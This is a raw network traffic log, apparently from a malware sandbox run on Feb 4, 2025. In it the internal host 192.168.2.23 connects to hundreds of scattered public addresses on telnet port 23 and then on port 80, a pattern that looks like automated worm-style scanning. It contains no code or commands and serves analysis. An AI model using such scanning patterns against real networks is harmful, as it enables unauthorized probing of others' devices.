Feb 4, 2025 18:17:39.417912960 CET	23	47076	138.55.103.168	192.168.2.23
Feb 4, 2025 18:17:39.417921066 CET	23	47076	52.180.231.181	192.168.2.23
Feb 4, 2025 18:17:39.417933941 CET	47076	23	192.168.2.23	50.183.155.116
Feb 4, 2025 18:17:39.417933941 CET	47076	23	192.168.2.23	181.171.36.229
Feb 4, 2025 18:17:39.417937040 CET	23	47076	139.201.42.29	192.168.2.23
Feb 4, 2025 18:17:39.417943001 CET	23	47076	45.174.131.169	192.168.2.23
Feb 4, 2025 18:17:39.417947054 CET	23	47076	23.239.222.67	192.168.2.23
Feb 4, 2025 18:17:39.417948008 CET	47076	23	192.168.2.23	138.55.103.168
Feb 4, 2025 18:17:39.417952061 CET	23	47076	173.122.93.148	192.168.2.23
Feb 4, 2025 18:17:39.417963028 CET	23	47076	63.136.240.54	192.168.2.23
Feb 4, 2025 18:17:39.417968035 CET	23	47076	85.17.99.176	192.168.2.23
Feb 4, 2025 18:17:39.417973042 CET	23	47076	92.130.190.122	192.168.2.23
Feb 4, 2025 18:17:39.417975903 CET	47076	23	192.168.2.23	45.174.131.169
Feb 4, 2025 18:17:39.417978048 CET	47076	23	192.168.2.23	206.106.154.96
Feb 4, 2025 18:17:39.417983055 CET	47076	23	192.168.2.23	139.201.42.29
Feb 4, 2025 18:17:39.417984962 CET	47076	23	192.168.2.23	23.239.222.67
Feb 4, 2025 18:17:39.417990923 CET	47076	23	192.168.2.23	63.136.240.54
Feb 4, 2025 18:17:39.417999983 CET	23	47076	104.2.100.28	192.168.2.23
Feb 4, 2025 18:17:39.418004990 CET	23	47076	49.31.10.16	192.168.2.23
Feb 4, 2025 18:17:39.418008089 CET	47076	23	192.168.2.23	52.180.231.181
Feb 4, 2025 18:17:39.418008089 CET	47076	23	192.168.2.23	85.17.99.176
Feb 4, 2025 18:17:39.418010950 CET	47076	23	192.168.2.23	173.122.93.148
Feb 4, 2025 18:17:39.418010950 CET	47076	23	192.168.2.23	92.130.190.122
Feb 4, 2025 18:17:39.418014050 CET	23	47076	34.92.233.161	192.168.2.23
Feb 4, 2025 18:17:39.418028116 CET	23	47076	81.181.137.121	192.168.2.23
Feb 4, 2025 18:17:39.418032885 CET	23	47076	41.85.197.220	192.168.2.23
Feb 4, 2025 18:17:39.418036938 CET	23	47076	8.228.133.4	192.168.2.23
Feb 4, 2025 18:17:39.418041945 CET	23	47076	203.212.97.225	192.168.2.23
Feb 4, 2025 18:17:39.418045044 CET	47076	23	192.168.2.23	104.2.100.28
Feb 4, 2025 18:17:39.418045998 CET	23	47076	42.230.37.235	192.168.2.23
Feb 4, 2025 18:17:39.418066025 CET	47076	23	192.168.2.23	41.85.197.220
Feb 4, 2025 18:17:39.418066025 CET	47076	23	192.168.2.23	81.181.137.121
Feb 4, 2025 18:17:39.418068886 CET	47076	23	192.168.2.23	49.31.10.16
Feb 4, 2025 18:17:39.418068886 CET	47076	23	192.168.2.23	34.92.233.161
Feb 4, 2025 18:17:39.418088913 CET	47076	23	192.168.2.23	42.230.37.235
Feb 4, 2025 18:17:39.418088913 CET	47076	23	192.168.2.23	203.212.97.225
Feb 4, 2025 18:17:39.418107033 CET	47076	23	192.168.2.23	8.228.133.4
Feb 4, 2025 18:17:39.418158054 CET	23	47076	66.156.21.143	192.168.2.23
Feb 4, 2025 18:17:39.418164015 CET	23	47076	23.91.181.206	192.168.2.23
Feb 4, 2025 18:17:39.418174982 CET	23	47076	208.156.19.233	192.168.2.23
Feb 4, 2025 18:17:39.418179989 CET	23	47076	217.94.110.235	192.168.2.23
Feb 4, 2025 18:17:39.418190002 CET	23	47076	166.50.78.239	192.168.2.23
Feb 4, 2025 18:17:39.418195009 CET	23	47076	4.255.93.196	192.168.2.23
Feb 4, 2025 18:17:39.418199062 CET	23	47076	134.51.141.127	192.168.2.23
Feb 4, 2025 18:17:39.418203115 CET	23	47076	153.161.169.240	192.168.2.23
Feb 4, 2025 18:17:39.418206930 CET	23	47076	147.235.58.128	192.168.2.23
Feb 4, 2025 18:17:39.418210983 CET	23	47076	31.239.100.37	192.168.2.23
Feb 4, 2025 18:17:39.418215990 CET	23	47076	45.50.142.198	192.168.2.23
Feb 4, 2025 18:17:39.418220997 CET	23	47076	61.179.163.215	192.168.2.23
Feb 4, 2025 18:17:39.418222904 CET	47076	23	192.168.2.23	66.156.21.143
Feb 4, 2025 18:17:39.418222904 CET	47076	23	192.168.2.23	23.91.181.206
Feb 4, 2025 18:17:39.418225050 CET	23	47076	146.29.203.77	192.168.2.23
Feb 4, 2025 18:17:39.418226004 CET	47076	23	192.168.2.23	208.156.19.233
Feb 4, 2025 18:17:39.418237925 CET	47076	23	192.168.2.23	134.51.141.127
Feb 4, 2025 18:17:39.418240070 CET	47076	23	192.168.2.23	217.94.110.235
Feb 4, 2025 18:17:39.418240070 CET	47076	23	192.168.2.23	153.161.169.240
Feb 4, 2025 18:17:39.418241978 CET	47076	23	192.168.2.23	166.50.78.239
Feb 4, 2025 18:17:39.418241978 CET	47076	23	192.168.2.23	4.255.93.196
Feb 4, 2025 18:17:39.418255091 CET	47076	23	192.168.2.23	146.29.203.77
Feb 4, 2025 18:17:39.418255091 CET	47076	23	192.168.2.23	147.235.58.128
Feb 4, 2025 18:17:39.418255091 CET	47076	23	192.168.2.23	45.50.142.198
Feb 4, 2025 18:17:39.418265104 CET	47076	23	192.168.2.23	31.239.100.37
Feb 4, 2025 18:17:39.418265104 CET	47076	23	192.168.2.23	61.179.163.215
Feb 4, 2025 18:17:39.418649912 CET	23	47076	213.114.104.87	192.168.2.23
Feb 4, 2025 18:17:39.418654919 CET	23	47076	89.136.49.215	192.168.2.23
Feb 4, 2025 18:17:39.418664932 CET	23	47076	18.30.72.188	192.168.2.23
Feb 4, 2025 18:17:39.418693066 CET	23	47076	25.249.72.252	192.168.2.23
Feb 4, 2025 18:17:39.418698072 CET	23	47076	80.6.181.183	192.168.2.23
Feb 4, 2025 18:17:39.418698072 CET	47076	23	192.168.2.23	89.136.49.215
Feb 4, 2025 18:17:39.418698072 CET	47076	23	192.168.2.23	18.30.72.188
Feb 4, 2025 18:17:39.418709993 CET	23	47076	213.28.43.191	192.168.2.23
Feb 4, 2025 18:17:39.418714046 CET	23	47076	91.132.102.168	192.168.2.23
Feb 4, 2025 18:17:39.418715954 CET	47076	23	192.168.2.23	213.114.104.87
Feb 4, 2025 18:17:39.418739080 CET	23	47076	71.18.147.92	192.168.2.23
Feb 4, 2025 18:17:39.418740034 CET	47076	23	192.168.2.23	25.249.72.252
Feb 4, 2025 18:17:39.418740988 CET	47076	23	192.168.2.23	80.6.181.183
Feb 4, 2025 18:17:39.418740988 CET	47076	23	192.168.2.23	91.132.102.168
Feb 4, 2025 18:17:39.418750048 CET	47076	23	192.168.2.23	213.28.43.191
Feb 4, 2025 18:17:39.418788910 CET	47076	23	192.168.2.23	71.18.147.92
Feb 4, 2025 18:17:39.418883085 CET	23	47076	206.199.215.235	192.168.2.23
Feb 4, 2025 18:17:39.418888092 CET	23	47076	193.162.19.208	192.168.2.23
Feb 4, 2025 18:17:39.418898106 CET	23	47076	79.242.54.158	192.168.2.23
Feb 4, 2025 18:17:39.418903112 CET	23	47076	187.129.149.33	192.168.2.23
Feb 4, 2025 18:17:39.418915033 CET	23	47076	170.53.5.230	192.168.2.23
Feb 4, 2025 18:17:39.418927908 CET	23	47076	23.253.56.243	192.168.2.23
Feb 4, 2025 18:17:39.418929100 CET	47076	23	192.168.2.23	206.199.215.235
Feb 4, 2025 18:17:39.418931961 CET	23	47076	76.173.171.125	192.168.2.23
Feb 4, 2025 18:17:39.418932915 CET	47076	23	192.168.2.23	193.162.19.208
Feb 4, 2025 18:17:39.418934107 CET	47076	23	192.168.2.23	187.129.149.33
Feb 4, 2025 18:17:39.418936968 CET	23	47076	9.80.52.146	192.168.2.23
Feb 4, 2025 18:17:39.418946028 CET	47076	23	192.168.2.23	79.242.54.158
Feb 4, 2025 18:17:39.418953896 CET	23	47076	95.18.119.124	192.168.2.23
Feb 4, 2025 18:17:39.418958902 CET	23	47076	175.125.60.194	192.168.2.23
Feb 4, 2025 18:17:39.418962955 CET	47076	23	192.168.2.23	170.53.5.230
Feb 4, 2025 18:17:39.418970108 CET	47076	23	192.168.2.23	23.253.56.243
Feb 4, 2025 18:17:39.418976068 CET	23	47076	166.174.20.252	192.168.2.23
Feb 4, 2025 18:17:39.418981075 CET	23	47076	73.178.46.153	192.168.2.23
Feb 4, 2025 18:17:39.418986082 CET	23	47076	41.190.108.135	192.168.2.23
Feb 4, 2025 18:17:39.418987036 CET	47076	23	192.168.2.23	76.173.171.125
Feb 4, 2025 18:17:39.418989897 CET	23	47076	8.235.209.175	192.168.2.23
Feb 4, 2025 18:17:39.418992996 CET	47076	23	192.168.2.23	95.18.119.124
Feb 4, 2025 18:17:39.418994904 CET	47076	23	192.168.2.23	9.80.52.146
Feb 4, 2025 18:17:39.418997049 CET	23	47076	154.223.69.98	192.168.2.23
Feb 4, 2025 18:17:39.419003963 CET	23	47076	135.49.117.215	192.168.2.23
Feb 4, 2025 18:17:39.419004917 CET	47076	23	192.168.2.23	166.174.20.252
Feb 4, 2025 18:17:39.419006109 CET	47076	23	192.168.2.23	175.125.60.194
Feb 4, 2025 18:17:39.419006109 CET	47076	23	192.168.2.23	73.178.46.153
Feb 4, 2025 18:17:39.419008970 CET	23	47076	149.112.19.106	192.168.2.23
Feb 4, 2025 18:17:39.419013977 CET	23	47076	17.143.80.49	192.168.2.23
Feb 4, 2025 18:17:39.419015884 CET	47076	23	192.168.2.23	41.190.108.135
Feb 4, 2025 18:17:39.419025898 CET	47076	23	192.168.2.23	8.235.209.175
Feb 4, 2025 18:17:39.419032097 CET	47076	23	192.168.2.23	154.223.69.98
Feb 4, 2025 18:17:39.419038057 CET	23	47076	94.246.110.166	192.168.2.23
Feb 4, 2025 18:17:39.419043064 CET	23	47076	205.138.225.117	192.168.2.23
Feb 4, 2025 18:17:39.419070005 CET	47076	23	192.168.2.23	135.49.117.215
Feb 4, 2025 18:17:39.419070005 CET	47076	23	192.168.2.23	149.112.19.106
Feb 4, 2025 18:17:39.419073105 CET	47076	23	192.168.2.23	17.143.80.49
Feb 4, 2025 18:17:39.419073105 CET	47076	23	192.168.2.23	94.246.110.166
Feb 4, 2025 18:17:39.419079065 CET	47076	23	192.168.2.23	205.138.225.117
Feb 4, 2025 18:17:39.419600964 CET	23	47076	131.110.61.48	192.168.2.23
Feb 4, 2025 18:17:39.419605970 CET	23	47076	77.24.39.231	192.168.2.23
Feb 4, 2025 18:17:39.419645071 CET	23	47076	84.123.42.193	192.168.2.23
Feb 4, 2025 18:17:39.419650078 CET	23	47076	154.144.56.98	192.168.2.23
Feb 4, 2025 18:17:39.419651031 CET	47076	23	192.168.2.23	77.24.39.231
Feb 4, 2025 18:17:39.419651031 CET	47076	23	192.168.2.23	131.110.61.48
Feb 4, 2025 18:17:39.419661999 CET	23	47076	148.116.175.36	192.168.2.23
Feb 4, 2025 18:17:39.419666052 CET	23	47076	58.202.81.45	192.168.2.23
Feb 4, 2025 18:17:39.419676065 CET	23	47076	99.253.177.6	192.168.2.23
Feb 4, 2025 18:17:39.419684887 CET	47076	23	192.168.2.23	84.123.42.193
Feb 4, 2025 18:17:39.419684887 CET	47076	23	192.168.2.23	154.144.56.98
Feb 4, 2025 18:17:39.419708967 CET	47076	23	192.168.2.23	99.253.177.6
Feb 4, 2025 18:17:39.419708967 CET	47076	23	192.168.2.23	148.116.175.36
Feb 4, 2025 18:17:39.419708967 CET	47076	23	192.168.2.23	58.202.81.45
Feb 4, 2025 18:17:39.419774055 CET	23	47076	148.170.160.155	192.168.2.23
Feb 4, 2025 18:17:39.419811964 CET	47076	23	192.168.2.23	148.170.160.155
Feb 4, 2025 18:17:39.419905901 CET	23	47076	107.69.223.209	192.168.2.23
Feb 4, 2025 18:17:39.419914007 CET	23	47076	160.251.204.18	192.168.2.23
Feb 4, 2025 18:17:39.419929028 CET	23	47076	66.94.27.67	192.168.2.23
Feb 4, 2025 18:17:39.419940948 CET	23	47076	140.116.179.210	192.168.2.23
Feb 4, 2025 18:17:39.419945955 CET	23	47076	121.211.200.144	192.168.2.23
Feb 4, 2025 18:17:39.419950008 CET	23	47076	115.26.120.51	192.168.2.23
Feb 4, 2025 18:17:39.419954062 CET	23	47076	221.147.57.29	192.168.2.23
Feb 4, 2025 18:17:39.419958115 CET	23	47076	103.172.10.112	192.168.2.23
Feb 4, 2025 18:17:39.419959068 CET	47076	23	192.168.2.23	160.251.204.18
Feb 4, 2025 18:17:39.419959068 CET	47076	23	192.168.2.23	66.94.27.67
Feb 4, 2025 18:17:39.419960976 CET	47076	23	192.168.2.23	107.69.223.209
Feb 4, 2025 18:17:39.419971943 CET	23	47076	150.186.249.254	192.168.2.23
Feb 4, 2025 18:17:39.419976950 CET	23	47076	41.65.93.47	192.168.2.23
Feb 4, 2025 18:17:39.419977903 CET	47076	23	192.168.2.23	140.116.179.210
Feb 4, 2025 18:17:39.419981003 CET	23	47076	176.124.57.145	192.168.2.23
Feb 4, 2025 18:17:39.419981003 CET	47076	23	192.168.2.23	115.26.120.51
Feb 4, 2025 18:17:39.419982910 CET	47076	23	192.168.2.23	121.211.200.144
Feb 4, 2025 18:17:39.419986963 CET	47076	23	192.168.2.23	221.147.57.29
Feb 4, 2025 18:17:39.419989109 CET	23	47076	75.198.30.66	192.168.2.23
Feb 4, 2025 18:17:39.419995070 CET	47076	23	192.168.2.23	103.172.10.112
Feb 4, 2025 18:17:39.419997931 CET	23	47076	8.38.225.123	192.168.2.23
Feb 4, 2025 18:17:39.420002937 CET	23	47076	62.37.32.252	192.168.2.23
Feb 4, 2025 18:17:39.420011997 CET	23	47076	36.226.201.115	192.168.2.23
Feb 4, 2025 18:17:39.420017004 CET	23	47076	192.98.194.177	192.168.2.23
Feb 4, 2025 18:17:39.420017958 CET	47076	23	192.168.2.23	41.65.93.47
Feb 4, 2025 18:17:39.420017958 CET	47076	23	192.168.2.23	75.198.30.66
Feb 4, 2025 18:17:39.420021057 CET	47076	23	192.168.2.23	150.186.249.254
Feb 4, 2025 18:17:39.420021057 CET	47076	23	192.168.2.23	176.124.57.145
Feb 4, 2025 18:17:39.420028925 CET	23	47076	67.97.181.44	192.168.2.23
Feb 4, 2025 18:17:39.420043945 CET	47076	23	192.168.2.23	36.226.201.115
Feb 4, 2025 18:17:39.420044899 CET	47076	23	192.168.2.23	192.98.194.177
Feb 4, 2025 18:17:39.420047998 CET	47076	23	192.168.2.23	8.38.225.123
Feb 4, 2025 18:17:39.420061111 CET	47076	23	192.168.2.23	62.37.32.252
Feb 4, 2025 18:17:39.420063972 CET	23	47076	96.172.134.210	192.168.2.23
Feb 4, 2025 18:17:39.420069933 CET	23	47076	51.231.245.79	192.168.2.23
Feb 4, 2025 18:17:39.420069933 CET	47076	23	192.168.2.23	67.97.181.44
Feb 4, 2025 18:17:39.420080900 CET	23	47076	105.112.44.184	192.168.2.23
Feb 4, 2025 18:17:39.420103073 CET	47076	23	192.168.2.23	96.172.134.210
Feb 4, 2025 18:17:39.420110941 CET	47076	23	192.168.2.23	51.231.245.79
Feb 4, 2025 18:17:39.420110941 CET	47076	23	192.168.2.23	105.112.44.184
Feb 4, 2025 18:17:39.427318096 CET	46308	80	192.168.2.23	25.153.182.167
Feb 4, 2025 18:17:39.427326918 CET	46308	80	192.168.2.23	206.61.10.205
Feb 4, 2025 18:17:39.427337885 CET	46308	80	192.168.2.23	72.150.101.160
Feb 4, 2025 18:17:39.427337885 CET	46308	80	192.168.2.23	219.118.68.27
Feb 4, 2025 18:17:39.427339077 CET	46308	80	192.168.2.23	96.242.30.184
Feb 4, 2025 18:17:39.427341938 CET	46308	80	192.168.2.23	96.128.176.155
Feb 4, 2025 18:17:39.427342892 CET	46308	80	192.168.2.23	107.71.249.194
Feb 4, 2025 18:17:39.427341938 CET	46308	80	192.168.2.23	172.147.199.40
Feb 4, 2025 18:17:39.427346945 CET	46308	80	192.168.2.23	86.244.113.116
Feb 4, 2025 18:17:39.427346945 CET	46308	80	192.168.2.23	124.219.223.186
Feb 4, 2025 18:17:39.427349091 CET	46308	80	192.168.2.23	217.85.34.153
Feb 4, 2025 18:17:39.427349091 CET	46308	80	192.168.2.23	58.161.32.175
Feb 4, 2025 18:17:39.427352905 CET	46308	80	192.168.2.23	129.40.83.53
Feb 4, 2025 18:17:39.427361965 CET	46308	80	192.168.2.23	210.26.62.185
Feb 4, 2025 18:17:39.427371979 CET	46308	80	192.168.2.23	190.82.70.156
Feb 4, 2025 18:17:39.427372932 CET	46308	80	192.168.2.23	111.62.3.146
Feb 4, 2025 18:17:39.427373886 CET	46308	80	192.168.2.23	92.236.27.10
Feb 4, 2025 18:17:39.427378893 CET	46308	80	192.168.2.23	168.80.58.196
Feb 4, 2025 18:17:39.427382946 CET	46308	80	192.168.2.23	117.231.200.134
Feb 4, 2025 18:17:39.427386045 CET	46308	80	192.168.2.23	158.130.165.3
Feb 4, 2025 18:17:39.427397013 CET	46308	80	192.168.2.23	184.184.217.198
Feb 4, 2025 18:17:39.427397966 CET	46308	80	192.168.2.23	76.37.210.157
Feb 4, 2025 18:17:39.427397966 CET	46308	80	192.168.2.23	20.141.210.62
Feb 4, 2025 18:17:39.427397966 CET	46308	80	192.168.2.23	47.130.229.151
Feb 4, 2025 18:17:39.427405119 CET	46308	80	192.168.2.23	145.41.126.68
Feb 4, 2025 18:17:39.427406073 CET	46308	80	192.168.2.23	138.220.121.2
Feb 4, 2025 18:17:39.427405119 CET	46308	80	192.168.2.23	41.162.16.44
Feb 4, 2025 18:17:39.427407980 CET	46308	80	192.168.2.23	70.14.128.142
Feb 4, 2025 18:17:39.427405119 CET	46308	80	192.168.2.23	156.207.52.72
Feb 4, 2025 18:17:39.427407980 CET	46308	80	192.168.2.23	161.141.10.216
Feb 4, 2025 18:17:39.427407980 CET	46308	80	192.168.2.23	65.235.166.207
Feb 4, 2025 18:17:39.427417040 CET	46308	80	192.168.2.23	151.96.236.18
Feb 4, 2025 18:17:39.427429914 CET	46308	80	192.168.2.23	117.173.89.142
Feb 4, 2025 18:17:39.427436113 CET	46308	80	192.168.2.23	114.113.108.107
Feb 4, 2025 18:17:39.427436113 CET	46308	80	192.168.2.23	125.6.68.166
Feb 4, 2025 18:17:39.427436113 CET	46308	80	192.168.2.23	66.99.153.180
Feb 4, 2025 18:17:39.427436113 CET	46308	80	192.168.2.23	50.152.3.139
Feb 4, 2025 18:17:39.427437067 CET	46308	80	192.168.2.23	72.8.194.83
Feb 4, 2025 18:17:39.427436113 CET	46308	80	192.168.2.23	14.139.129.210
Feb 4, 2025 18:17:39.427437067 CET	46308	80	192.168.2.23	57.82.146.24
Feb 4, 2025 18:17:39.427437067 CET	46308	80	192.168.2.23	74.170.130.51
Feb 4, 2025 18:17:39.427443981 CET	46308	80	192.168.2.23	93.192.116.83
Feb 4, 2025 18:17:39.427449942 CET	46308	80	192.168.2.23	184.235.110.200
Feb 4, 2025 18:17:39.427470922 CET	46308	80	192.168.2.23	101.98.52.196
Feb 4, 2025 18:17:39.427470922 CET	46308	80	192.168.2.23	114.46.159.4
Feb 4, 2025 18:17:39.427470922 CET	46308	80	192.168.2.23	13.199.23.172
Feb 4, 2025 18:17:39.427472115 CET	46308	80	192.168.2.23	94.172.131.219
Feb 4, 2025 18:17:39.427472115 CET	46308	80	192.168.2.23	203.247.69.52
Feb 4, 2025 18:17:39.427472115 CET	46308	80	192.168.2.23	221.166.213.227
Feb 4, 2025 18:17:39.427481890 CET	46308	80	192.168.2.23	211.233.144.250
Feb 4, 2025 18:17:39.427483082 CET	46308	80	192.168.2.23	75.48.51.111
Feb 4, 2025 18:17:39.427481890 CET	46308	80	192.168.2.23	134.95.221.24
Feb 4, 2025 18:17:39.427495956 CET	46308	80	192.168.2.23	204.82.232.15
Feb 4, 2025 18:17:39.427495956 CET	46308	80	192.168.2.23	186.125.26.68
Feb 4, 2025 18:17:39.427508116 CET	46308	80	192.168.2.23	117.1.43.44
Feb 4, 2025 18:17:39.427509069 CET	46308	80	192.168.2.23	47.190.135.39
Feb 4, 2025 18:17:39.427509069 CET	46308	80	192.168.2.23	5.140.14.17
Feb 4, 2025 18:17:39.427510023 CET	46308	80	192.168.2.23	54.15.108.204
Feb 4, 2025 18:17:39.427512884 CET	46308	80	192.168.2.23	38.150.103.51
Feb 4, 2025 18:17:39.427542925 CET	46308	80	192.168.2.23	98.198.112.203
Feb 4, 2025 18:17:39.427545071 CET	46308	80	192.168.2.23	77.46.9.112
Feb 4, 2025 18:17:39.427546978 CET	46308	80	192.168.2.23	133.218.142.180
Feb 4, 2025 18:17:39.427546978 CET	46308	80	192.168.2.23	142.14.196.240
Feb 4, 2025 18:17:39.427547932 CET	46308	80	192.168.2.23	164.172.90.223
Feb 4, 2025 18:17:39.427546978 CET	46308	80	192.168.2.23	39.17.180.216
Feb 4, 2025 18:17:39.427546978 CET	46308	80	192.168.2.23	17.13.85.230
Feb 4, 2025 18:17:39.427550077 CET	46308	80	192.168.2.23	96.60.196.207
Feb 4, 2025 18:17:39.427551031 CET	46308	80	192.168.2.23	94.253.62.44
Feb 4, 2025 18:17:39.427551031 CET	46308	80	192.168.2.23	194.219.195.46
Feb 4, 2025 18:17:39.427551031 CET	46308	80	192.168.2.23	199.107.172.247
Feb 4, 2025 18:17:39.427551031 CET	46308	80	192.168.2.23	192.13.230.7
Feb 4, 2025 18:17:39.427560091 CET	46308	80	192.168.2.23	211.121.192.145
Feb 4, 2025 18:17:39.427592039 CET	46308	80	192.168.2.23	77.249.146.97
Feb 4, 2025 18:17:39.427592993 CET	46308	80	192.168.2.23	178.107.77.31
Feb 4, 2025 18:17:39.427592039 CET	46308	80	192.168.2.23	1.42.93.203
Feb 4, 2025 18:17:39.427598953 CET	46308	80	192.168.2.23	128.103.8.49
Feb 4, 2025 18:17:39.427599907 CET	46308	80	192.168.2.23	73.54.170.4
Feb 4, 2025 18:17:39.427599907 CET	46308	80	192.168.2.23	205.64.99.166
Feb 4, 2025 18:17:39.427603006 CET	46308	80	192.168.2.23	129.96.36.171
Feb 4, 2025 18:17:39.427603960 CET	46308	80	192.168.2.23	117.139.91.250
Feb 4, 2025 18:17:39.427603006 CET	46308	80	192.168.2.23	197.53.137.253
Feb 4, 2025 18:17:39.427606106 CET	46308	80	192.168.2.23	119.112.208.65
Feb 4, 2025 18:17:39.427603960 CET	46308	80	192.168.2.23	193.184.8.222
Feb 4, 2025 18:17:39.427603960 CET	46308	80	192.168.2.23	178.59.216.110
Feb 4, 2025 18:17:39.427603960 CET	46308	80	192.168.2.23	179.218.62.218
Feb 4, 2025 18:17:39.427619934 CET	46308	80	192.168.2.23	98.231.77.38
Feb 4, 2025 18:17:39.427619934 CET	46308	80	192.168.2.23	121.173.33.157
Feb 4, 2025 18:17:39.427624941 CET	46308	80	192.168.2.23	222.56.57.110
Feb 4, 2025 18:17:39.427639008 CET	46308	80	192.168.2.23	174.215.110.33
Feb 4, 2025 18:17:39.427640915 CET	46308	80	192.168.2.23	170.138.191.254
Feb 4, 2025 18:17:39.427640915 CET	46308	80	192.168.2.23	222.39.17.234
Feb 4, 2025 18:17:39.427639008 CET	46308	80	192.168.2.23	199.182.3.152
Feb 4, 2025 18:17:39.427642107 CET	46308	80	192.168.2.23	202.161.161.236
Feb 4, 2025 18:17:39.427639008 CET	46308	80	192.168.2.23	176.128.17.173
Feb 4, 2025 18:17:39.427644968 CET	46308	80	192.168.2.23	123.183.215.238
Feb 4, 2025 18:17:39.427642107 CET	46308	80	192.168.2.23	58.36.250.236
Feb 4, 2025 18:17:39.427649021 CET	46308	80	192.168.2.23	86.0.200.12
Feb 4, 2025 18:17:39.427649021 CET	46308	80	192.168.2.23	109.63.125.125
Feb 4, 2025 18:17:39.427649021 CET	46308	80	192.168.2.23	102.203.59.136
Feb 4, 2025 18:17:39.427651882 CET	46308	80	192.168.2.23	149.113.132.207
Feb 4, 2025 18:17:39.427653074 CET	46308	80	192.168.2.23	205.69.151.2
Feb 4, 2025 18:17:39.427658081 CET	46308	80	192.168.2.23	204.8.42.146
Feb 4, 2025 18:17:39.427658081 CET	46308	80	192.168.2.23	131.64.194.153
Feb 4, 2025 18:17:39.427658081 CET	46308	80	192.168.2.23	153.128.167.45
Feb 4, 2025 18:17:39.427680016 CET	46308	80	192.168.2.23	209.15.211.215
Feb 4, 2025 18:17:39.427683115 CET	46308	80	192.168.2.23	200.114.161.28
Feb 4, 2025 18:17:39.427683115 CET	46308	80	192.168.2.23	67.199.48.201
Feb 4, 2025 18:17:39.427685022 CET	46308	80	192.168.2.23	109.149.168.68
Feb 4, 2025 18:17:39.427699089 CET	46308	80	192.168.2.23	91.198.226.155
Feb 4, 2025 18:17:39.427699089 CET	46308	80	192.168.2.23	175.82.123.89
Feb 4, 2025 18:17:39.427700043 CET	46308	80	192.168.2.23	31.74.51.81
Feb 4, 2025 18:17:39.427700996 CET	46308	80	192.168.2.23	222.21.148.60
Feb 4, 2025 18:17:39.427700043 CET	46308	80	192.168.2.23	142.106.98.216
Feb 4, 2025 18:17:39.427700996 CET	46308	80	192.168.2.23	71.192.32.252
Feb 4, 2025 18:17:39.427700043 CET	46308	80	192.168.2.23	99.95.48.50
Feb 4, 2025 18:17:39.427704096 CET	46308	80	192.168.2.23	45.27.90.140
Feb 4, 2025 18:17:39.427702904 CET	46308	80	192.168.2.23	92.79.79.136
Feb 4, 2025 18:17:39.427706957 CET	46308	80	192.168.2.23	219.41.183.176
Feb 4, 2025 18:17:39.427717924 CET	46308	80	192.168.2.23	79.116.152.112
Feb 4, 2025 18:17:39.427721024 CET	46308	80	192.168.2.23	2.107.1.38
Feb 4, 2025 18:17:39.427721977 CET	46308	80	192.168.2.23	161.206.47.195
Feb 4, 2025 18:17:39.427723885 CET	46308	80	192.168.2.23	106.42.131.81
Feb 4, 2025 18:17:39.427723885 CET	46308	80	192.168.2.23	45.192.67.230
Feb 4, 2025 18:17:39.427721977 CET	46308	80	192.168.2.23	150.230.134.243
Feb 4, 2025 18:17:39.427723885 CET	46308	80	192.168.2.23	194.238.115.199
Feb 4, 2025 18:17:39.427735090 CET	46308	80	192.168.2.23	25.209.120.242
Feb 4, 2025 18:17:39.427743912 CET	46308	80	192.168.2.23	111.249.40.49
Feb 4, 2025 18:17:39.427746058 CET	46308	80	192.168.2.23	163.255.114.93
Feb 4, 2025 18:17:39.427752972 CET	46308	80	192.168.2.23	172.243.85.161
Feb 4, 2025 18:17:39.427762032 CET	46308	80	192.168.2.23	217.65.215.188
Feb 4, 2025 18:17:39.427762032 CET	46308	80	192.168.2.23	20.108.125.164
Feb 4, 2025 18:17:39.427774906 CET	46308	80	192.168.2.23	69.200.200.128
Feb 4, 2025 18:17:39.427774906 CET	46308	80	192.168.2.23	147.252.21.152
Feb 4, 2025 18:17:39.427783966 CET	46308	80	192.168.2.23	39.194.105.13
Feb 4, 2025 18:17:39.427784920 CET	46308	80	192.168.2.23	115.211.48.25
Feb 4, 2025 18:17:39.427784920 CET	46308	80	192.168.2.23	17.193.208.118
Feb 4, 2025 18:17:39.427784920 CET	46308	80	192.168.2.23	58.72.233.86
Feb 4, 2025 18:17:39.427792072 CET	46308	80	192.168.2.23	50.19.106.224
Feb 4, 2025 18:17:39.427793026 CET	46308	80	192.168.2.23	106.79.88.87
Feb 4, 2025 18:17:39.427792072 CET	46308	80	192.168.2.23	150.129.216.150
Feb 4, 2025 18:17:39.427792072 CET	46308	80	192.168.2.23	175.39.252.53
Feb 4, 2025 18:17:39.427792072 CET	46308	80	192.168.2.23	160.141.134.150
Feb 4, 2025 18:17:39.427798033 CET	46308	80	192.168.2.23	83.220.105.183
Feb 4, 2025 18:17:39.427798986 CET	46308	80	192.168.2.23	63.215.158.209
Feb 4, 2025 18:17:39.427798033 CET	46308	80	192.168.2.23	90.82.140.129
Feb 4, 2025 18:17:39.427798033 CET	46308	80	192.168.2.23	177.229.55.208
Feb 4, 2025 18:17:39.427807093 CET	46308	80	192.168.2.23	207.110.69.118
Feb 4, 2025 18:17:39.427807093 CET	46308	80	192.168.2.23	65.46.177.69
Feb 4, 2025 18:17:39.427807093 CET	46308	80	192.168.2.23	165.12.164.160
Feb 4, 2025 18:17:39.427807093 CET	46308	80	192.168.2.23	130.40.179.178
Feb 4, 2025 18:17:39.427810907 CET	46308	80	192.168.2.23	4.19.56.152
Feb 4, 2025 18:17:39.427812099 CET	46308	80	192.168.2.23	135.184.1.112
Feb 4, 2025 18:17:39.427815914 CET	46308	80	192.168.2.23	198.144.183.81
Feb 4, 2025 18:17:39.427825928 CET	46308	80	192.168.2.23	192.197.149.1
Feb 4, 2025 18:17:39.427838087 CET	46308	80	192.168.2.23	60.92.19.45
Feb 4, 2025 18:17:39.427844048 CET	46308	80	192.168.2.23	117.59.62.2
Feb 4, 2025 18:17:39.427851915 CET	46308	80	192.168.2.23	210.52.200.14
Feb 4, 2025 18:17:39.427851915 CET	46308	80	192.168.2.23	202.174.209.239
Feb 4, 2025 18:17:39.427853107 CET	46308	80	192.168.2.23	83.120.43.159
Feb 4, 2025 18:17:39.427864075 CET	46308	80	192.168.2.23	24.42.183.177
Feb 4, 2025 18:17:39.427870989 CET	46308	80	192.168.2.23	108.116.50.174
Feb 4, 2025 18:17:39.427877903 CET	46308	80	192.168.2.23	122.83.15.125
Feb 4, 2025 18:17:39.427881002 CET	46308	80	192.168.2.23	208.72.207.238
Feb 4, 2025 18:17:39.427881002 CET	46308	80	192.168.2.23	220.88.41.42
Feb 4, 2025 18:17:39.427886009 CET	46308	80	192.168.2.23	133.212.105.66
